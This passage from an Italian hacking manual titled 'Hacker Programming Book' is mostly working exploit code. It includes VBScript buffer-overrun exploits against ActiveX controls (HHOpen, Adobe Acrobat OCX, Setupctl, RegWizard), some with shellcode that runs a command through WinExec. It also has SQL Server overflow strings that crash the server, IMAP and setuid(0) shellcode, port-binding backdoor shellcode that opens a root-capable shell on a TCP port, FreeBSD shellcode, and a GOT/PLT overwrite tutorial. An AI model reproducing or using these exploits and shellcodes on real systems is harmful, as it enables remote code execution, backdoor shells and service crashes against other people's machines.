Chr(10) + "Written ByShane Hird")

expstr="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAA"

' al posto del corretto indirizzo per l'istruzione RET,
' si punta a ExitProcess, mediante BFF8D4CA.

expstr = expstr + Chr(202) + Chr(212) + Chr(248) + Chr(191)

' Pad extra per realizzare la sovrascritturaexpstr = expstr +
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

' Chiamata al metodo attaccato, passando come parametro un normale file di help
hhopen.OpenHelp "Winhlp32.hlp", expstr-->
</script>

SETUPBBS

<object classid="clsid:8F0F5093-0A70-11D0-BCA9-00C04FD85AA6"
id="setupbbs"></OBJECT>
<script language="vbscript"><!--msgbox("MSN Setup BBS Buffer Overrun" + Chr(10) +
"Written by Shane Hird")

expstr="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

' RET address (ExitProcess BFF8D4CA)
expstr = expstr + Chr(202) + Chr(212) + Chr(248) + Chr(191)

' È possibile realizzare l'attacco con una qualunque delle due chiamate
' setupbbs.vAddNewsServer expstr, true setupbbs.bIsNewsServerConfigured expstr
--></script>

PDF

L'indirizzo cui viene rediretto li comando RET consiste in questo caso di una JMP ESP per il
lancio di CALC.EXE.
Il suo valore quindi può essere differente nelle varie versioni di Windows; anche qui
l'esecuzione di questo comando è puramente a titolo di esempio.

<object classid="clsid:CA8A9780-280D-11CF-A24D-444553540000" id="pdf"></object>
<script language="VBscript"><!--msgbox("Adobe Acrobat OCX Buffer Overrun" + Chr(10) +
"Written by Shane Hird")

expstr
="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAA"

expstr = expstr + Chr(235)    'Indirizzo di JMP ESP nella SHELL32 di Win98 (7FD035EB)
expstr = expstr + Chr(53)
expstr = expstr + Chr(208)
expstr = expstr + Chr(127)

' con le NOP che seguono si "risistema" lo stack alle corrette dimensioni
expstr = expstr + Chr(144) + Chr(144) + Chr(144) + Chr(144) + Chr(144)

' MOV EDI, ESP
expstr = expstr + Chr(139) + Chr(252)

' ADD EDI, 19 (dimensione del codice)
expstr = expstr + Chr(131) + Chr(199) + Chr(25)

' PUSH EAX (Window Style EAX = 1)
expstr = expstr + Chr(80)

' PUSH EDI (Indirizzo della linea di comando)
expstr = expstr + Chr(87)

' MOV EDX, BFFA0960 (WinExec, Win98)
expstr = expstr + Chr(186) + Chr(96) + Chr(9) + Chr(250) + Chr(191)

' CALL EDX
expstr = expstr + Chr(255) + Chr(210)

' XOR EAX, EAX
expstr = expstr + Chr(51) + Chr(192)

' PUSH EAX



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

expstr = expstr + Chr(80)



' MOV EDX, BFF8D4CA (ExitProcess, Win98)
expstr = expstr + Chr(186) + Chr(202) + Chr(212) + Chr(248) + Chr(191)

' CALL EDX
expstr = expstr + Chr(255) + Chr(210)

' Il comando è rimpiazzabile con qualsiasi altro,
' seguito da uno zero (inserito automaticamente dal sistema)

expstr = expstr + "CALC.EXE"
' Chiamata al metodo da attaccare pdf.setview(expstr)
--></script>

SETUPCTL

<object classid="clsid:F72A7B0E-0DD8-11D1-BD6E-00AA00B92AF1" id = "setupctl">
</object>
<script language="vbscript"><!--msgbox("Setupctl 1.0 Type Library Buffer Overrun" + Chr(10)
+ "Written by Shane Hird")

expstr="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

expstr = expstr + Chr(235)      'Indirizzo di JMP ESP nella SHELL32 di Win98 (7FD035EB)
expstr = expstr + Chr(53)
expstr = expstr + Chr(208)
expstr = expstr + Chr(127)

' le NOP inserite sono utili per il debug
expstr = expstr + Chr(144)

' MOV EDI, ESP
expstr = expstr + Chr(139) + Chr(252)

' ADD EDI, 19h (Dimensione del codice)
expstr = expstr + Chr(131) + Chr(199) + Chr(25)

' PUSH EAX (Window Style EAX = 41414141)
expstr = expstr + Chr(80)

' PUSH EDI (Indirizzo della linea di comando)
expstr = expstr + Chr(87)

' MOV EDX, BFFA0960 (WinExec, Win98)
expstr = expstr + Chr(186) + Chr(96) + Chr(9) + Chr(250) + Chr(191)

' CALL EDX
expstr = expstr + Chr(255) + Chr(210)

' XOR EAX, EAX
expstr = expstr + Chr(51) + Chr(192)

' PUSH EAX
expstr = expstr + Chr(80)



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

' MOV EDX, BFF8D4CA (ExitProcess, Win98)
expstr = expstr + Chr(186) + Chr(202) + Chr(212) + Chr(248) + Chr(191)

' CALL EDX
expstr = expstr + Chr(255) + Chr(210)

' Il comando è rimpiazzabile con qualsiasi altro,
' seguito da uno zero (inserito automaticamente dal sistema)
expstr = expstr + "CALC.EXE"

' lancio dell'attacco
setupctl.DistUnit = expstr
setupctl.InstallNow
--></script>

REGWIZC

<object classid="clsid:50E5E3D1-C07E-11D0-B9FD-00A0249F6B00" id="RegWizObj">
</object>
<script language="VbScript" ><!--msgbox("Registration Wizard Buffer Overrun" + Chr(10) +
"Written by Shane Hird")

expstr = "/i
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAA"

' overflow del puntatore nello stack passato a RET
' per ritornare alla <JMP ESP> nella Shell32.
' Non sono permesse operazioni di tipo NULL

expstr = expstr & Chr(235)     'Indirizzo di JMP ESP nella SHELL32 di Win98 (7FD035EB)
expstr = expstr & Chr(53)
expstr = expstr & Chr(208)
expstr = expstr & Chr(127)

' le NOP presenti facilitano il debug
expstr = expstr + Chr(144)

' MOV EDI, ESP
expstr = expstr + Chr(139) + Chr(252)

' ADD EDI, 19 (Dimensione del codice)
expstr = expstr + Chr(131) + Chr(199) + Chr(25)

' PUSH EAX (Window Style EAX = 41414141)
expstr = expstr + Chr(80)

' PUSH EDI (Indirizzo della linea di comando)
expstr = expstr + Chr(87)

' MOV EDX, BFFA0960 (WinExec, Win98)
expstr = expstr + Chr(186) + Chr(96) + Chr(9) + Chr(250) + Chr(191)

' CALL EDX
expstr = expstr + Chr(255) + Chr(210)
' XOR EAX, EAX



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

expstr = expstr + Chr(51) + Chr(192)

' PUSH EAX
expstr = expstr + Chr(80)

' MOV EDX, BFF8D4CA (ExitProcess, Win98)
expstr = expstr + Chr(186) + Chr(202) + Chr(212) + Chr(248) + Chr(191)

' CALL EDX
expstr = expstr + Chr(255) + Chr(210)

' Il comando è rimpiazzabile con qualsiasi altro,
' seguito da uno zero (inserito automaticamente dal sistema)
expstr = expstr + "CALC.EXE"

' Invocazione del metodo attaccato
RegWizObj.InvokeRegWizard(expstr)
--></script>

Nel caso dei sistemi con su SQL Server i seguenti esempi costituiscono dei buffer overflow.

In SQL Server 7 overflow starts at character number 6819 and if the amount
of characters is >= 6918 the server will crash:

SELECT * FROM OpenDataSource('XXXXXXXXXXX...' ---> 6819 characters or
more,'')...nothing

SELECT * FROM OPENROWSET('XXXXXXXXXXX...' ---> 6819 characters or
more,'','')

In SQL Server 2000 overflow starts at character number 6887 and if the
amount of characters is >= 6998 the server will crash:

SELECT * FROM OpenDataSource('XXXXXXXXXXX...' ---> 6887 characters or
more,'')...nothing

SELECT * FROM OPENROWSET('XXXXXXXXXXX...' ---> 6887 characters or
more,'','')


L’arte di scrivere delle shell
Generalmente creare exploit remoti di daemons Unix è una cosa complessa in quanto non
esistono molti metodi per riuscire ad individuarli.
La scrittura inoltre dello shell code spesso e volentieri è ancora più complessa.
Per fare un esempio vediamo un exploit legato a IMAP4.
Questo è un exploit relativamente semplice.
Tutto quello che si deve fare è nascondere la stringa /bin/sh" all’interno di uno shellcode
(imapd converte tutti i caratteri in minuscolo in maiuscolo).
Nessuna delle istruzioni in una shell generica contengono caratteri minuscoli, per cui diventa
necessario cambiare la stringa /bin/sh
Questo è esattakmente come una shellcode normale a parte il fatto che con u loop si
aggiunge 0x20 ad ogni byte nella sringa "/bin/sh".

-----imap.S-------
.globl main
main:
jmp call
start:

popl %ebx      /* prende l’indirizzo di /bin/sh */
movl %ebx,%ecx /* copia l’indirizzo in ecx */
addb $0x6,%cl /* ecx ora punta all’ultimo carattere */




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

loop:
cmpl %ebx,%ecx
jl skip     /* if (ecx<ebx) goto skip */
addb $0x20,(%ecx) /* aggiunge 0x20 al byte puntato da %ecx */
decb %cl   /* decrementa il puntatore */
jmp loop
skip:

/* generic shell-spawning code */
movl %ebx,0x8(%ebx)
xorl %eax,%eax
movb %eax,0x7(%ebx)
movl %eax,0xc(%ebx)
movb $0xb,%al
leal 0x8(%ebx),%ecx
leal 0xc(%ebx),%edx
int $0x80
xorl %eax,%eax
inc %al
int $0x80
call:
call start
.string "\x0f\x42\x49\x4e\x0f\x53\x48"
--------------

Questa è una variante molto semplice di uno shellcode generico e può essere usato per
mascherare dei caratteri che non sono permessi da un protocollo di un daemon.
Il codice scritto include diverse syscalls.
Le syscalls usate sono:

setuid(): Per recuperare i privilegi di root (wu-ftpd)
mkdir()/chdir()/chroot(): Per tornare alla root directory(wu-ftpd)
dup2(): Per connettere un tcp socket alla shell( BIND&rpc.mountd
tcp-style )
open()/write(): Per scrivere in /etc/passwd
socket(): Per scrivere codice connectionless

L’attuale numero dell syscall può essere trovato in <asm/unistd.h>
Molte syscalls in linux x86 sono eseguite nello stesso modo.
Il numero della syscall viene inserito dentro al registro %eax, e gli argomenti sono messi
dentro a %ebx,%ecx e %edx rispettivamente.
In alcuni casi ci sono più argomenti di quanti siano i registri e quindi potrebbe essere
necessario mettere gli argomenti all’interno di una memoria utente e quindi salvare gli indirizzi
di queste locazioni all’interno dei registri
Se un argomento ad esempio fosse una stringa, potrebbe essere possibile mettere questa in
memoria passare l’indirizzo di questa come argomento.
Come nell’esempio di prima e come già detto precedentemente la syscall viene poi chiamata
con "int $0x80".
Ipoteticamente potreste usare qualsiasi syscall, ma quella che segue potrebbe essere l’unica
di cui avete bisogno.
Il seguente codice è preso da unh exploit legasto a wu-ftpd che utilizza setuid(0).

---setuid.S----
.globl main
main:
xorl %ebx,%ebx /* mette a zero %ebx */
movl %ebx,%eax /* mete a zero %eax */
movb $0x17,%al /* setta il numero della syscall */
int $0x80 /* chiama l’interrupt */
---------------




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book



Port-Binding Shellcode
Quando state eseguendo un exploit di un daemon remoto con uno shellcode generico,
potrebbe essere necessario avere una connessione attiva TCP per eseguire una PIPE della
shell su stdin/out/err
Questo è utilizzabile con tutti gli exploit remoti di Linux.
Potrebbe però capitare che una nuova vulnerabilità venga trovata in un daemon che ofre solo
servizi UDP (SNMP per esempio).
Potrebbe anche essere solo possibile accedere al daemon via UDP a causa delle porte TCP
filtrate da qualche firewall.
Al momento le vulnerabilità di Linux explottabili via UDP, sia BIND come tutti I servizi rpc
eseguono sia UDP che TCP.
Allo stesso modo se inviate l’exploit via UDP potrebbe essere semplice falsificare i pacchetti
UDP attaccanti in modo tale da non apparire in nessun log.
Per eseguire l’exploit di daemons via UDP potreste scrivere un shellcode per modificare il file
password o per eseguire alcuni altri scopi anche se però di fatto quello di aprire una shell è il
massimo.
Chiaramente non è possibile adattare una pipe UDP in uno shellcode, in quanto avreste la
necessità di avere una connessione TCP.
Per questo è nata l’idea di scrivere una shellcode che si comporta come una backdoor, legata
ad una porta in modo che questa venga eseguita quando è ricevuta una connessione.
Un esempio di codice di questo tipo è :

int main()
{
        char *name[2];
        int fd,fd2,fromlen;
        struct sockaddr_in serv;

           fd=socket(AF_INET,SOCK_STREAM,0);
           serv.sin_addr.s_addr=0;
           serv.sin_port=1234;
           serv.sin_family=AF_INET;
           bind(fd,(struct sockaddr *)&serv,16);
           listen(fd,1);
           fromlen=16; /*(sizeof(struct sockaddr)*/
           fd2=accept(fd,(struct sockaddr *)&serv,&fromlen);
           /* "connect" fd2 to stdin,stdout,stderr */
           dup2(fd2,0);
           dup2(fd2,1);
           dup2(fd2,2);
           name[0]="/bin/sh";
           name[1]=NULL;
           execve(name[0],name,NULL);
}

Ovviamente questa richiede una spazo maggiore di quello richiesto da una shellcode normale
ma in ogni caso può essere scritta in meno di 200 bytes.
Considerate che spesso i buffers sono un pò più grandi di questo spazio.

Esiste una complicazione aggiuntiva legata al fatto che la sycall legata al socket è un pò
differente rispetto ale altre syscalls, sotto Linux.
Ogni chiamata a un socket possiede lo stesso numero 0x66.
Per differenziare le diverse socket calls, viene inserito un sottocodice dentro a %ebx.
Questo è dentro a <linux/net.h>.
Quello importante è :

SYS_SOCKET        1
SYS_BIND          2
SYS_LISTEN        4



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

SYS_ACCEPT       5

Dobbiamo anche conoscere il valore della costante e la struttura esatta di sockaddr_in.
Tutto questo è nuovamente dentro al file di prima:

AF_INET == 2
SOCK_STREAM == 1

struct sockaddr_in {
   short int sin_family; /* 2 byte word, containing AF_INET */
   unsigned short int sin_port; /* 2 byte word, containg the port in
network byte order */
   struct in_addr sin_addr /* 4 byte long, should be zeroed */
   unsigned char pad[8]; /* should be zero, but doesn't really matter
*/
};

A questo punto esistono solo due registri liberi, quindi gli argomenti devono essere inseriti
dentro alla memoria e %ecx deve contenere l’indirizzo di questa.
Ora dobbiamo salvare gli argomenti alla fine dello shellcode.
I primi 12 bytes devono contenere tre argomenti long arguments, I succesivi 16 devono
contenere la struttura sockaddr_in mentra I 4 bytes finali contengono fromlen per la call a
accept().
Alla fine i risultati di ciascuna syscall sono inseriti dentro a %eax.

----portshell.S----
.globl main
main:

/* I had to put in a "bounce" in the middle of the code as the shellcode
 * was too big. If I had made it jmp the entire shellcode, the instruction
 * would have contained a null byte, so if anyone has a shorter version,
 * please send me it.
 */

jmp bounce
start:
popl %esi

/* socket(2,1,0) */
xorl %eax,%eax
movl %eax,0x8(%esi)      /* 3rd arg == 0 */
movl %eax,0xc(%esi)      /* zero out sock.sin_family&sock.sin_port */
movl %eax,0x10(%esi)     /* zero out sock.sin_addr */
incb %al
movl %eax,%ebx           /* socket() subcode == 1 */
movl %eax,0x4(%esi)      /* 2nd arg == 1 */
incb %al
movl %eax,(%esi)         /*   1st arg == 2 */
movw %eax,0xc(%esi)      /*   sock.sin_family == 2 */
leal (%esi),%ecx         /*   load the address of the arguments into %ecx */
movb $0x66,%al           /*   set socket syscall number */
int $0x80

/* bind(fd,&sock,0x10) */
incb %bl             /* bind() subcode == 2 */
movb %al,(%esi)      /* 1st arg == fd (result from socket()) */
movl %ecx,0x4(%esi) /* copy address of arguments into 2nd arg */
addb $0xc,0x4(%esi) /* increase it by 12 bytes to point to sockaddr struct
*/
movb $0x10,0x8(%esi) /* 3rd arg == 0x10 */
movb $0x23,0xe(%esi) /* set sin.port */
movb $0x66,%al       /* no need to set %ecx, it is already set */
int $0x80




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

/* listen(fd,2) */
movl %ebx,0x4(%esi)      /*   bind() subcode==2, move this to the 2nd arg */
incb %bl                 /*   no need to set 1st arg, it is the same as bind() */
incb %bl                 /*   listen() subcode == 4 */
movb $0x66,%al           /*   again, %ecx is already set */
int $0x80

/* fd2=accept(fd,&sock,&fromlen) */
incb %bl            /* accept() subcode == 5 */
movl %ecx,0x4(%esi) /* copy address of arguments into 2nd arg */
addb $0xc,0x4(%esi) /* increase it by 12 bytes */
movl %ecx,0x4(%esi) /* copy address of arguments into 3rd arg */
addb $0x1c,0x4(%esi) /* increase it by 12+16 bytes */
movb $0x66,%al
int $0x80

/* KLUDGE */
jmp skippy
bounce:
jmp call
skippy:

/* dup2(fd2,0) dup2(fd2,1) dup2(fd2,2) */
movb %al,%bl /* move fd2 to 1st arg */
xorl %ecx,%ecx /* 2nd arg is 0 */
movb $0x3f,%al /* set dup2() syscall number */
int $0x80
incb %cl       /* 2nd arg is 1 */
movb $0x3f,%al
int $0x80
incb %cl       /* 2nd arg is 2 */
movb $0x3f,%al
int $0x80

/* execve("/bin/sh",["/bin/sh"],NULL) */
movl %esi,%ebx
addb $0x20,%ebx /* %ebx now points to "/bin/sh" */
xorl %eax,%eax
movl %ebx,0x8(%ebx)
movb %al,0x7(%ebx)
movl %eax,0xc(%ebx)
movb $0xb,%al
leal 0x8(%ebx),%ecx
leal 0xc(%ebx),%edx
int $0x80
/* exit(0) */
xorl %eax,%eax
movl %eax,%ebx
incb %al
int $0x80
call:
call start
.ascii "abcdabcdabcd""abcdefghabcdefgh""abcd""/bin/sh"
-----------------------------------------------------

Dopo aver inviato l’exploit dovrete solo collegarvi alla porta 8960, e quindi interagire con la
shell.
Il seguente esempio invece è indirizzato a FreeBSD

----fbsd.S----
.globl main
main:
jmp call
start:
/* Modify the ascii string so it becomes lcall 7,0 */
popl %esi



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

xorl %ebx,%ebx
movl %ebx,0x1(%esi) /* zeroed long word */
movb %bl,0x6(%esi) /* zeroed byte */
movl %esi,%ebx
addb $0x8,%bl /* ebx points to binsh */
jmp blah /* start the code */

call:
call start
syscall:
.ascii "\x9a\x01\x01\x01\x01\x07\x01" /* hidden lcall 7,0 */
ret
binsh:
.ascii "/bin/sh...."
blah:
/* put shellcode here */
call syscall




Overflow legati all’heap
Il tipo di buffer overflow visti all’inizio di questo capitolo erano legati allo stack.
All’interno dell’ architettura Intel abbiamo un altro tipo di segmento che viene definito con il
termine di heap che viene utilizzato per certi tipi di allocazioni fatte all’interno di un
programma.
Per fare una prova vedamo il file maps.
Il file visualizza le varie porzioni di memoria associate ad un processo e le proprieta' che
queste hanno (r/w/x):

08048000-08049000       r-xp   00000000     03:06   148024          /home/nail/timer
08049000-0804a000       rw-p   00000000     03:06   148024          /home/nail/timer
40000000-40013000       r-xp   00000000     03:05   5982            /lib/ld-2.1.3.so
40013000-40014000       rw-p   00012000     03:05   5982            /lib/ld-2.1.3.so
40014000-40015000       rw-p   00000000     00:00   0
4001c000-400fe000       r-xp   00000000     03:05   5993            /lib/libc-2.1.3.so
400fe000-40102000       rw-p   000e1000     03:05   5993            /lib/libc-2.1.3.so
40102000-40107000       rw-p   00000000     00:00   0
bfffe000-c0000000       rwxp   fffff000     00:00   0


Struttura di un ELF.
Quella porzione di memoria di cui parlavamo e' destinata a contenere alcune tabelle
proprietarie del formato ELF per la rilocazione.
Ogni programma compilato come ELF contiene soltanto il codice delle funzioni scritte da noi
(es. il main) mentre tutte le funzioni di libreria (printf, strcpy,...) rimangono in una shared
library esterna (le libc) e vengono poi caricate in memoria soltanto quando servono.
Questo quindi non ci permette di sapere la posizione assoluta del reale codice di una
chiamata in una library esterna.
La soluzione e' quindi caricare la parte di libreria esterna solo quando strettamente
necessario e ricavare dall'header della libreria il puntatore al codice necessario.
Il nostro codice ovviamente da qualche parte deve jumpare per chiamarle.
Allora ecco che sono nate la GOT e la PLT.

GOT = Global Offset Table
PLT = Procedure Linkage Table

Queste due tabelle fanno parte della cosiddette 'dynamic relocation entries' del nostro
eseguibile.




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

La GOT e' una tabella che puo' essere visualizzata con un bel objdump -R sull'eseguibile e
contiene una specie di mappa che collega simboli ad indirizzi e a come accedere a
quell'indirizzo.
Esempio:

./timer:          file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE                        VALUE
[...]
0804976c R_386_JUMP_SLOT             sleep
08049770 R_386_JUMP_SLOT             __libc_start_main
08049774 R_386_JUMP_SLOT             printf
08049778 R_386_JUMP_SLOT             sscanf
[...]

Il tipo di rilocazione dipende anche da cosa stiamo rilocando, principalmente per le funzioni di
libreria si usa soltanto l'R_386_JUMP_SLOT.
Prendendo l'esempio: la funzione sscanf ha un'entry nella GOT all'indirizzo 0x08049778.
Quando un programma effettua una chiamata alla scanf(), in realta' passa all'indirizzo
associato nella jump table (il famoso offset).
Questo permette di creare un 'wrapper' per le funzioni.
E’ possibile invece di chiamare la printf di richimare un indirizzo contenuto nella GOT.
Questo wrapper prima di tutto carichera' in memoria la parte di libc contenente il codice della
printf e poi lo richiamera'.
Tutta la serie di procedure di wrapping e la procedura principale per caricare una determinata
funzione e' contenuta nella PLT.
Questo esempio penso vi chiarara' un pochino le idee (faccio riferimento alla objdumpata di
prima):

$ gdb ./timer
(gdb) x 0x08049778
0x8049778 <_GLOBAL_OFFSET_TABLE_+40>:    0x0804840a
/* questo vuol dire che la parte di PLT per il load della sscanf
   e' all'indirizzo 0x0804840a */
(gdb) disass 0x0804840a
Dump of assembler code for function sscanf:
0x8048404 :     jmp     *0x8049778
0x804840a :   push    $0x38
0x804840f : jmp     0x8048384 <_init+48>
/* presumibilimente, con push $0x38 si indica alla procedura di
   load della libreria l'indice della funzione desiderata o un
   suo offset, purtroppo non ho ancora trovato un modo per checkare
   la veridicita' di questa cosa.
   All'indirizzo 0x8048384 dovrebbe essere contenuta la procedura di
load
*/
(gdb) disass 0x8048384
Dump of assembler code for function _init:
[...]
0x8048382 <_init+46>:    ret
0x8048383:      Cannot access memory at address 0x8048383
/* per accedere a quella parte di memoria ci vuole un piccolo
trucco :P */
(gdb) disass 0x8048384 0x80483aa
Dump of assembler code from 0x8048384 to 0x80483aa:
0x8048384 <_init+48>:    pushl 0x8049754
0x804838a <_init+54>:    jmp    *0x8049758
/* Ok, chiamiamo di nuovo qualcosa all'interno della GOT passandogli
   l'indirizzo della funzione che dovremo poi richiamare ... */




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

L’uso di GOT e PLT hanno solo vantaggi

a) Sono allocate in una zona di memoria mappata sempre sia come writable che come
executable.
b) Hanno indirizzi _FISSI_ ottenibili senza nemmeno dover runnare il programma (objdump
-R).

I problemi invece sono quelli che seguono :

a) Essendo sempre writable e executable in caso di patch come quelle di Solar Designer per
lo stack non eseguibile possiamo tranquillamente deviare l'esecuzione del processo.
Inoltre, abbiamo anche un posto dove scrivere lo shellcode (in realta' basterebbero 4 stupidi
byte)

b) Non overwritando il RET della funzione non necessita che tutta la funzione venga eseguita
prima di saltare allo shellcode. Quindi, se ci sono controlli tipo canaries, possiamo
tranquillamente evitarli, poiche' l'esecuzione deviera' prima.

c) L'uso della GOT/PLT puo' essere combinato perfettamente sia con altre tecniche di
overflow.

d) Il guess degli indirizzi praticamente sparisce, poiche' gli indirizzi sono fissi.


Esempi pratici
Cominciamo a fare delle prove un po' forzate... nel senso di provare a sostituire manualmente
un qualche indirizzo di funzione.
Se avete mai visto gli heap-based buffer overflow il funzionamento e' molto, molto simile al
sovrascrivere un puntatore a funzione, solo che sovrascrivi l'indirizzo della funzione stessa
Il fattore di difficolta' e' soltanto uno...
Riassumendo un attimo lo stato della memoria:

indirizzo piu' basso: ------------------- 0xbe000000 circa
                     |                   |
                     |       STACK       |
                     |                   |
                     -------------------- 0xc0000000 circa
                     | ................ |
                     | ................ |
                     | ................ |
                     -------------------- 0x08040000 circa
                     |                   |
                     |     TEXT AREA     |
                     |                   |
                     -------------------- 0x08048000 circa
                     |                   |
                     | GOT/PLT/...       |
                     |                   |
                      -------------------- 0x80490000 circa
                     |                   |
                     |     BSS/HEAP      |
                     |                   |
                     -------------------- ...

Come vedete, dall'heap e' impossibile raggiugnere la GOT poiche' e' prima mentre dallo stack
siamo troppo lontani.
Il risultato e': come ci arrivo? Bhe... questo lo vedremo nel prossimo paragrafo... modi ce ne
sono e l'inventiva umana supera qualsiasi distanza *g*
Per ora evitiamo questo problema e proviamo:




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

<-| gotplt/boh.c |->
#include
#include

food()
{
          printf("Sono dentro alla funzione food\n");
}

main()
{
          long int *got = 0x11223344;
          *got = (long int)food;
          exit(0);
}
<-X->

Compiliamo con -ggdb e eseguiamo un diump del file object.
Come in tutte le funzioni di buffer overflow lo scopo è quello di andare a sovrapporsi
all’indirizzo di ritorno.

$ objdump -R ./boh
[...]
08049550 R_386_JUMP_SLOT           exit
[...]

Modifichiamo la variabile:

long int *got = 0x08049550;

e lanciamo il debugger per ambiente Linux gdb.

